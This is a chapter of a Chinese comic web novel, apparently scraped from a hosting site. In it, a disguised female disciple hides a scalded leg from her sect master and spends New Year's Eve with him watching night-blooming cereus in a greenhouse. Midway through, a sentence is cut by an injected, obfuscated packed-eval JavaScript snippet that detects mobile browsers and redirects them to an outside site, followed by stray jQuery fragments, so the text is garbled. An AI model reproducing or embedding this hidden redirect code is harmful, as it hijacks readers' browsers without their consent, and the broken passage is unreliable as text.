默认冷灰
24号文字
方正启体

31. 门主葬花

作者:鹤顽本书字数:K更新时间:
    屠笑尔抓着梅枝,尚在走神,虞无妄却毫无预兆,一把掀起她的裤腿。


    布料摩擦着烫伤的皮肤,疼得她倒抽一口冷气,脚上当拖鞋穿的小屐啪嗒掉在雪地里,露出的小腿到足尖白得像浸过牛乳,在寒风里泛着细腻的光,全被虞无妄看尽眼底!


    虞无妄蹙眉:“你……”


    屠笑尔被吓得手脚并用舞了起来,蹬着腿就要把裤脚放下去,可虞无妄一把捏住她的足踝,那力道如铁钳,捏得她的骨头都发疼。他手指上的冰凉传到小腿肌肤,冷得她打了个寒颤。


    虞无妄奇道:“你这腿软得跟没长骨头似的,竟然能绞死他人。”


    屠笑尔心想你过来被我亲自用剪刀腿锁一次就知道了,她绞尽脑汁,连相对论都用上了:“那……或许因为他们的喉管更软。”


    “你小时候服过药?”虞无妄的目光从她纤细的脚踝移到薄肌流畅的小腿,眉头蹙得更紧,语气里的疑惑几乎要溢出来,“寻常男子哪怕不习武,走南闯北也该有几分筋骨,你为何没有肌肉鼓包,皮肤还如此白嫩?”


    屠笑尔的心脏快跳到了嗓子眼,她慌得舌头打结,只能胡乱编瞎话:“是、是吃过些补药!我小时候天生体弱,肌肉……大概也是藏起来了!对,藏在肉里呢!”


    她一边说一边挣扎,脚趾蜷得发白,却怎么也挣不开那只铁钳似的手。虞无妄的目光像探照灯,一寸寸扫过她那只小巧玲珑的脚。


    那分明是女子才会有的脚,粉白圆润,连趾甲都修剪得整整齐齐,哪有半分习武男子的粗糙。


    “什么补药能补成这样?”虞无妄的声音沉了沉,捏着她足踝的手微微用力,“屠啥,你最好说实话。”


    寒风卷着雪片打在脸上,屠笑尔看着他深不见底的眼睛,突然觉得所有的遮掩都苍白无比。


    怎么办,没招了。


    屠笑尔两眼一闭,绝望地坦白:“门主,我承认,我的确被烫到腿了,伤了好大一片,疼得睡不着。”


    虞无妄注意力被吸引,端详起那片烫伤。


    他掏出一只锦袋,塞进屠笑尔怀中,自己拧开一只红瓷瓶,修长指尖轻巧挖出一块药膏,看样子是要亲自给她上药!


    屠笑尔哪敢干让领导上药这么折寿的事情,连连摆手后退,屁股蹭得梅枝咯吱响:“不用门主,不用您亲自来,门主您日理万机,哪能劳烦您亲自上药?我自己上就好!”


    虞无妄难得地体恤下属:“你坐在树上,弯腰够不着伤口,自己上不方便。”


    屠笑尔被他捏住脚踝都浑身发毛,一想到他微凉的指尖要在自己腿上涂药,浑身汗毛都竖了起来:“您把我放下来就方便了!”


    虞无妄盯着她的双眼,语气里带了点嘲弄:“你还担心我的医术?”


    “不。”屠笑尔心一横,索性豁出去,梗着脖子迎上他的目光,“我担心门主您有龙阳之好,方才您看了我的腿,万一……万一动了不该有的心思,那可如何是好?”


    她咬咬牙,深吸一口气,又往这虎狼之词上添了把猛火:“门主,对不起!并非属下不识抬举,实在是不愿拖累您的名声!让旁人误以为您和徒弟搞什么花前月下,毕竟……我更在意世人的眼光!”


    语气诚挚,表情到位,带着不想见到明日太阳的决绝。


    空气静得能听见雪花落在梅枝上的轻响。


    虞无妄缓缓抽回手,转头就走。玄色大氅扫过雪地,带起一阵寒风,显然是气极了。


    屠笑尔刚松了口气,心说这招果然管用。


    还没来得及庆幸,三秒之后——


    咔!


    她坐着的那根碗口粗的梅枝毫无预兆地从中断裂!


    屠笑尔失去平衡,结结实实地摔进了厚厚的积雪里,雪沫子顺着领口、袖口往里灌,瞬间把她埋成了个雪人。


    冷酷的门主将他的花前月下埋进了雪地中。


    屠笑尔扑腾着,雪地的冰凉包裹着她裸露在外的腿,带来卓绝的阵痛功效。


    她原地坐了几秒,等烫伤的地方不再刺痛,一骨碌爬起来直追虞无妄背影而去。


    把人惹生气了还得哄,无他,只因为生气的人是领导。


    屠笑尔腿还疼着,可不想再穿职场的小鞋。


    虞无妄说他来看花,果真就是来看花的。


    他走进偏院里一间门窗紧闭的屋子,这屋墙壁厚度是寻常房屋的两倍,里边空气温暖,略微潮湿。


    屠笑尔殷勤而狗腿地接过虞无妄脱下的大氅,在门口架子上挂好,再一转身,屋内四角的烛火齐齐亮了。


    屠笑尔看着屋里的景象目瞪口呆。


    谁能想到这看似寻常的屋子竟是间温室。


    墙根下摆着的青瓷盆里,山茶开得如火如荼,墙角的素心兰正吐着嫩蕊,连廊下那几株茉莉都攒着花苞,分明是暖春才有的景致,此刻却在寒冬腊月里活得热气腾腾。


    难不成虞无妄真的是什么小花仙,能在冬天种出昙花来?


    她看看那刚盛开的昙花,又看看虞无妄,目光反复,震撼于这个时代竟已经有了温室技术和种植反季节花卉的意识。


    兴许她的样子过于惊讶,虞无妄被那一脸蠢相逗笑,解释道:“此屋是姞辰弄的温室,他冬日喜爱在这屋内侍弄花草。今早有几朵花苞看着快开了,想着等一等,果然没错过。”


    屠笑尔这才回过神,看着满室春色,又看看虞无妄难得柔和的侧脸,忽然觉得这温室里的暖意宜人。


    不愧是王爷,姞辰与虞无妄都是会享福的,这寒冬腊月的,竟能把花养得这么精神。


    虞无妄伸手碰了碰那朵刚绽开的昙花,雪白的花瓣上还凝着水珠,微弱的香气随着他的动作漫开来,和他身上惯有的冷香缠在一起,生出种奇异的好闻味道。


    虞无妄修长的手指轻轻拨弄着花瓣,影子在烛火下微微摇晃着:“城中喜欢玩乐的世子都说昙花无香,其实……”


    看来他要发表什么植物学高见了,屠笑尔洗耳恭听:“其实怎样呢?”


    “其实是他们没凑近闻。”


    屠笑尔:……


    那句“原来如此受益匪浅”的马屁终究是说不出口。


    虞无妄在屋内走了一圈,十分熟练地检查叶片状态,修剪了一些枝叶,又拿起掸子把凋零的花瓣扫作一处。


    见屠笑尔要将花瓣一并塞进渣滓桶中,虞无妄拦了一下:“花瓣留下,待会我另有用处。”


    屠笑尔眨眨眼睛,仿佛第一次看到领导他柔软的内心:“门主,您要葬花吗?”


    “葬什么花?”虞无妄闻言,眉头几不可察地跳了跳,匪夷所思,“我看起来像那种闲得发慌伤春悲秋的人吗?”


    屠笑尔露出个“我懂不必多说”的笑容:“无妨门主,您心中怜惜这些花瓣并不是什么见不得人的事。您有听说过那句著名的话吗?”


    “我没有……什么话?”虞无妄问。


    “今日您既葬得了花,也葬得了各位。”屠笑尔眼神坚定,一点没意识到自己学杂了。


    虞无妄的动作彻底顿住了。他垂眸看着手里的白茉莉花瓣,又抬眼看看屠笑尔那张一本正经的脸,足足沉默了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059181|194973||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    三秒,才从齿缝里挤出一句:“我看你是被烫得脑子发昏了。”


    “这些花瓣晒干了能熏衣,磨成粉能入药,实在用不上,也能拿去泡茶。你把它们埋起来做什么?”


    屠笑尔笑容消失,她方才都忘了,虞无妄是个绝对的实用主义者。


    她仰头看向窗外,都怪这月光太温柔,让她恍然间以为虞无妄真的懂了浪漫。


    那株昙花长得极好,墨绿的叶片厚实得像浸过油,边缘缀着七个骨朵,个个饱满得像是藏着月光。


    此刻皎月斜挂天际,昙花开了四朵,超过了半数。清辉淌过花瓣,将那些半开的骨朵映得近乎透明,能隐约看见内里层层叠叠的瓣心,像裹着一团揉碎的银纱。


    左右夜间无事,她就在这间温暖的花房里头陪着虞无妄等花开。


    两人都没有再说话,并排坐在屋里仅有的两颗凳子上盯着花。虞无妄坐姿板正在沉思,她蜷成一团在发呆。时间悄悄跨过零点,打更人提着梆子走过,新一年的元旦到了。


    没想到真的和领导在一屋子花里边度过了除夕夜,怪可怕的,这句话写出来都像鬼片开头。


    不知是不是心理因素,屠笑尔觉得虞无妄的体温较常人偏低,而且待在他身边的时候,她的腿就没那么痛了。


    屠笑尔很珍惜这段少有的放空时光,她把下巴搭在膝盖上,找了个舒服的坐姿,盯着植物出神,仿佛能听到花骨朵挣脱束缚的声音。


    屠笑尔对系统说:“你知道吗,我很少像这样进行冥想。自从来到大姞之后每日不是练武就是执行任务,忙得无法向内寻找自我。”


    系统不屑:【那是因为你一旦开始冥想,不出三分钟必定睡着。】


    屠笑尔呵了一声警告系统:“你少在这儿看不起人!我是那种除了吃就是睡的混子吗?今天我就证明给你看,我能冥想一整夜!”


    系统不再回复。


    两分钟后,虞无妄转头,看到屠啥保持着一脚踩凳的姿势,脊背挺得笔直,脑袋却微微歪向一侧,睫毛在眼睑下投出浅影,呼吸清浅均匀,睡着了。


    虞无妄没有喊人起来,烦人的下属睡着了,他乐得自在,安静地观花。


    花房的窗吱呀一声,莫回看到这边有烛火亮光,前来复命。虞无妄简单与他交代了几句,叫他盯紧屠啥给腿上药。


    说话的声音很小,但警觉的屠笑尔还是醒了,她抬头张望,莫回已经走了。


    虞无妄刚好合上窗,难得问了一句:“被吵醒了?”


    屠笑尔死不承认:“我没睡。”


    虞无妄清浅地笑了一声,那笑容在烛光下实在好看,透着点温柔的意味,好像泛黄旧话本里头的画中仙。


    屠笑尔看了看,七朵昙花都开了,她抑制住高唱“一根藤上七朵花”的冲动,询问虞无妄:“门主,今晚这花开了之后,可以送给我吗?”


    “昙花只开两个时辰,今日没能叫姞辰来看,再留着也没用处了。”虞无妄兀自可惜,也没问她想做什么,逗不了姞辰他还可以逗屠啥,他提要求,“说一句好听的就让你拿去。”


    屠笑尔捏了捏手里的锦囊,忽然十分感动:“门主,您是我今年以来见过最英俊帅气的人!”


    虞无妄沉默了一会,抓住了华点:“你今年见过几个人?”


    一整个除夕之夜,她就坐在这间花房里头,那答案就十分明了了。


    “一个。”


    屠笑尔腼腆一笑。


    虞无妄沉沉看着她没有言语,半晌给她递了把剪子。


    真诚果然是职场必杀技。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)